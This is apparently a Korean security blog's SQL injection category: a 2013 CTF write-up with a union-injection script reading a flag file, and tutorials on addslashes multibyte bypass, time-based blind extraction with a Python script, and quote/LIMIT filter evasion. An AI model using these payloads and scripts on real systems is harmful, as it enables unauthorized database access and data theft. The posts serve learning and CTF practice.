검색결과 리스트
SQL Injection에 해당되는 글 5건
- 2013.06.08 [HDCon 2013] 1번 문제 write up (6)
- 2013.01.21 SQL injection addslashes, utf-8 변환시 우회법 (4)
- 2013.01.15 LPAD,bin,ascii를 이용한 효과적인 Blind SQL Injection (3)
- 2013.01.15 Time-based Blind Injection
- 2013.01.15 MySQL Injection에서 LIMIT, quote(따옴표) 우회법
글
1번 문제는 sql injection 문제였다.
injection 위치는 limit 부분이었다.
limit 부분에 인젝션이 가능할때는 union 인젝션만 가능하다고 알고 있었고, 이게 맞는듯 하다.
그래서 '(', select, from 등이 필터링이 되어있다는걸 알았을때는 멘붕이었고, 내가 잘못 알고 있나 해서 검색을 엄청나게 했다.
하지만, 이 문제는 좀 다른 방향으로 접근해야 했다.
문제파일의 확장자는 'do' 였다. do 확장자에 대해 검색해보면, do 확장자에서 jsp를 불러온다는걸 알수있다.
그래서 students.do 대신 students.jsp로 요청을 하면 ,select의 필터링이 풀린다.
(즉, do에서 필터링을 하고있었다는걸 알수있다.)
그 후에는 간단한 union 인젝션이다.
import httplib,urllib; import time conn = httplib.HTTPConnection("118.107.172.213",8889) conn.connect() # id,name,age,sex,email,title,campus #query = "12) union (select 0,table_name,0,0x41,0x41,0x41,0x41 from information_schema.tables where table_schema =0x6b6973616864636f6e31); # " #query = "12) union (select 0,column_name,0,0x41,0x41,0x41,0x41 from information_schema.columns where table_name=0x736563726574); # " #query = "1) union (select 0,flag,0,0x41,0x41,0x41,0x41 from secret); # " query = "1) union (select 0,load_file(0x2f7661722f6c69622f6d7973716c2f464c4147),0,0x41,0x41,0x41,0x41); # " #query = "12) union (select 0,database(),0,0x41,0x41,0x41,0x41); # " print query params = urllib.urlencode({'show':query}) #params = params.replace('select','%u0073elect') print params conn.putrequest('GET','/kisaHdconWeb1/students.jsp?'+params) conn.endheaders() response = conn.getresponse() data = response.read() conn.close() #print data[1000:len(data)-800] print data
'Computer Security > CTF' 카테고리의 다른 글
[HDCon 2013] 4번 문제 write up (0) | 2013.06.08 |
---|---|
[HDCon 2013] 3번 문제 write up (0) | 2013.06.08 |
[HDCon 2013] 1번 문제 write up (6) | 2013.06.08 |
[CodeGate 2013] Vuln 200, exploit (0) | 2013.06.04 |
[Secuinside 2013] 127.0.0.1, write up (0) | 2013.05.26 |
[Secuinside 2013] PE time (0) | 2013.05.26 |
트랙백
댓글
글
php mysql에서 addslashes를 이용해서 인젝션을 차단하고 있거나,
euc-kr을 utf-8로 변환을 하는 작업이 있을경우, 멀티바이트를 이용해서 우회가 가능합니다.
두가지 케이스 모두 솔루션은 같으므로, 한번에 설명하겠습니다.
addslashes는 입력스트링 중에 quote(') 가 있다면 앞에 \를 붙여줌으로써, " \' " 로 변환됩니다.
그래서, quote를 소용없게 만드는것이죠.
하지만, 멀티바이트로 보내면 소용이 없습니다.
예를 들어 url encoding 구문으로 %bf%27을 보낸다면, (%27이 quote입니다.)
%bf%5C%27 로 변하게 되고. (%5C가 \ 입니다.)
결국, %bf%5C 가 한글자로 읽히게 됩니다. (유니코드이기 때문에.)
그리고 %27이 \의 간섭을 안받고 자유가 됨으로써, sql injection이 가능합니다.
'Computer Security > Web' 카테고리의 다른 글
XSS subdomain escape wirte up (on Dropbox) (0) | 2015.05.05 |
---|---|
SQL injection addslashes, utf-8 변환시 우회법 (4) | 2013.01.21 |
LPAD,bin,ascii를 이용한 효과적인 Blind SQL Injection (3) | 2013.01.15 |
Time-based Blind Injection (0) | 2013.01.15 |
MySQL Injection에서 LIMIT, quote(따옴표) 우회법 (0) | 2013.01.15 |
SQL Blind Injection (0) | 2013.01.15 |
트랙백
댓글
글
(Only mysql)
Blind SQL injection은 아무래도 브루트포싱이다보니, 한글자를 알아내기까지 많은 쿼리를 보내야합니다.
빠릿빠릿한 서버라면, 별 상관없을수도 있지만. 느린서버를 공략할때는 너무 답답합니다.
하지만, LPAD,bin,ascii와 같은 함수들을 이용하면, 쿼리의 횟수를 확 줄일수 있습니다.
기존의 방법대로라면 한글자를 알아내기까지 최대 약 70개정도의 쿼리를 보내야 한다면.
이 방법을 사용했을땐, 8번의 쿼리만으로 글자를 알아낼수 있습니다.
함수들을 설명해드리면,
ascii는 캐릭터를 숫자로 변환하는 함수입니다.
ex) 'A' -> 65, 'a' -> 94, '0' ->48
bin은 숫자를 2진법 형태의 스트링으로 변환하는 함수입니다.
ex) 12 -> '1100', 65->'1000001'
LPAD는 글자수를 맞춰주고, 모자란만큼 왼쪽에 특정 스트링을 채워넣는 함수입니다. (아마 Left Padding의 약자인것 같습니다.)
LPAD(스트링,글자수,채울 스트링)
ex) LPAD('1',8,0) -> '00000001', LPAD('1010',8,0) -> '00001010'
그래서 항상 글자수를 8글자로 유지해주는 함수입니다.
대충 감이 오실겁니다.
이 방법은,
1. 글자 하나를 substring 해온다.
2. substring해온 글자를 숫자로 바꾼다.
3. 바꾼 숫자를 2진법으로 바꾼다.
4. 8글자로 맞춰준다.
그래서 8글자를 하나하나 확인함으로써, 한글자를 알아낼수 있는것이죠.
처음 봤을때 정말 감탄했던 방법입니다.
예제 python 코드를 보여드리겠습니다.
Time-based Blind SQL Injection을 혼합한 형태입니다.
(살짝 수정을해서, 복붙하면 제대로 돌아갈지는 모르겠네요.)
import httplib,urllib; import time # Blind SQL injection # setting conn = httplib.HTTPConnection("www.??????.com",80) conn.connect() toget = '[타겟 컬럼]' answer = "" length=[글자 길이] k = 1 m = 1 i = 0 while 1: query = "if(substr(LPAD(bin(ascii(substr("+toget+","+str(k)+",1))),8,0),"+str(m)+",1) = '1',SLEEP(2),1)" t1 = time.time() params = urllib.urlencode({'id':query,'pw':'abc'}) conn.putrequest('GET','/?????/??????.php?'+params) conn.endheaders() response = conn.getresponse() data = response.read() t2 = time.time() if (t2-t1) >= 2: # if it is true i += pow(2,8-m) print str(m)+" "+str(i) if m is 8: answer = answer+chr(i) print "Find: " + answer k = k+1 i=0 m=1 if k > length: break else: continue m = m+1 print "Answer:" +answer conn.close() |
'Computer Security > Web' 카테고리의 다른 글
XSS subdomain escape wirte up (on Dropbox) (0) | 2015.05.05 |
---|---|
SQL injection addslashes, utf-8 변환시 우회법 (4) | 2013.01.21 |
LPAD,bin,ascii를 이용한 효과적인 Blind SQL Injection (3) | 2013.01.15 |
Time-based Blind Injection (0) | 2013.01.15 |
MySQL Injection에서 LIMIT, quote(따옴표) 우회법 (0) | 2013.01.15 |
SQL Blind Injection (0) | 2013.01.15 |
트랙백
댓글
글
이번에도 문법은 MySQL 기준으로 설명하겠습니다.
Blind SQL injection을 할때, True or False에 따라 결과값이 달라진다면, 간단히 해낼수있지만.
True or False에 따른 화면 결과값이 달라지지 않을때가 있습니다.
그럴땐 if함수와 sleep함수를 이용하면 됩니다.
그리고, 시간을 재야하기 때문에 파이썬등의 스크립트를 이용한 공격이 필수라고 생각됩니다..
Sleep은 대부분 아실텐데, sleep(x) 라면, x초간 멈추는겁니다.
그리고 if함수의 구성을 보자면,
if(조건,참일때 결과값,거짓일때 결과값)
입니다.
그래서 참일때, sleep(x)을 걸고, 요청을 보내서 response가 x초 이후에 도착했다면, True라고 판단하면 됩니다.
물론, 평소의 response가 오기까지 얼마나 걸리는지 알아두고, 적당한 x값을 넣어야겠죠.
그리고 이 방법은 Insert문에서도 사용이 가능합니다.
insert into ~~ (c1, c2, c3) values (~,~,if(substr((select key from key_table),1,1) = 'a', SLEEP(4), 1));
대충 이런식으로, 인젝션이 가능합니다.
'Computer Security > Web' 카테고리의 다른 글
XSS subdomain escape wirte up (on Dropbox) (0) | 2015.05.05 |
---|---|
SQL injection addslashes, utf-8 변환시 우회법 (4) | 2013.01.21 |
LPAD,bin,ascii를 이용한 효과적인 Blind SQL Injection (3) | 2013.01.15 |
Time-based Blind Injection (0) | 2013.01.15 |
MySQL Injection에서 LIMIT, quote(따옴표) 우회법 (0) | 2013.01.15 |
SQL Blind Injection (0) | 2013.01.15 |
트랙백
댓글
글
따옴표(캐릭터) 우회
만약 따옴표(')가 필터링이 되어있는데, 캐릭터를 비교를 해야한다던가.. 하는 상황이 있다면
ascii 를 사용하시면 됩니다.
ascii는 캐릭터를 숫자로 바꿔주는 방식이므로, ascii(a) = 97 과 같은 형태로 따옴표없이도 비교할수 있습니다.
LIMIT 우회
인젝션을 할때 LIMIT이 필터링 되어있으면 상당히 걸리적거립니다.
그때 LIMIT을 우회하는 방법은, max(), min(), group_concat()을 사용하시면 됩니다.
사용법은 select max(컬럼) from ~~~ , select group_concat(컬럼) from ~~~ 와 같습니다.
max,min은 예상하시다싶이, 결과값중 가장 높은 줄 하나, 낮은줄 하나만 불러오는것이구요.
group_concat()을 이용해서 불러오면, 모든 레코드의 해당 컬럼값들이 하나의 스트링으로 붙어서 나옵니다.
"[첫번째 컬럼값],[두번째 컬럼값],..." 이런식으로 결과값이 나옵니다.
이를 이용해서 LIMIT 우회가 가능합니다
스트링 우회
따옴표나, admin, "." 등이 필터링이 되어있는데, 스트링을 꼭 써야 하는 상황이라면,
0x (hex)를 이용하시면 됩니다.
sql에서는 0x?????? 가 있으면 스트링으로 인식을 합니다.
예를 들어서 "admin"을 hex형식으로 바꾸면 "0x61646d696e" 이 됩니다.
즉, " select 'admin' " 대신 " select 0x61646d696e" 을 사용할수 있는거죠.
'Computer Security > Web' 카테고리의 다른 글
XSS subdomain escape wirte up (on Dropbox) (0) | 2015.05.05 |
---|---|
SQL injection addslashes, utf-8 변환시 우회법 (4) | 2013.01.21 |
LPAD,bin,ascii를 이용한 효과적인 Blind SQL Injection (3) | 2013.01.15 |
Time-based Blind Injection (0) | 2013.01.15 |
MySQL Injection에서 LIMIT, quote(따옴표) 우회법 (0) | 2013.01.15 |
SQL Blind Injection (0) | 2013.01.15 |
혹시 키 파일 디렉토리는 어떻게 구해왔는지 알수있을까요..?
;.jsp 같은 취약점 이용해보려했는데 버전이높아서 디렉토리를 구해오진못했는데..
키파일 디렉토리는 주어졌습니다.
flag 테이블을 우선 찾아내고 나서, 데이터를 읽어보니
path를 주면서 해당 path에 키가 있다고 하더군요.
그래서 load_file로 불렀습니다.
그렇군요 답변감사합니다 :D
궁금한 게 하나 있는데요! 인젝션 코드에서 숫자 파라미터 뒤에 괄호 닫기')'는 왜 들어가는 건가요? 본래 테이블 출력해주는 select 문 앞에 괄호 열기 '('가 있었던 건가요? 그렇다면 그걸 어떻게 아셨나요?
그게 그냥 숫자를 치고 #을 하니 에러가 나더군요.
그러면 추측할수 있는건 mysql이 아니거나, 괄호나 따옴표등이 안닫혔다고 추측할수 있어요.
그래서 괄호를 하나 닫아보고 #을 해보니 제대로 되길래 그렇게 추측했습니다.
아 그렇군요. 답변 감사합니다~:)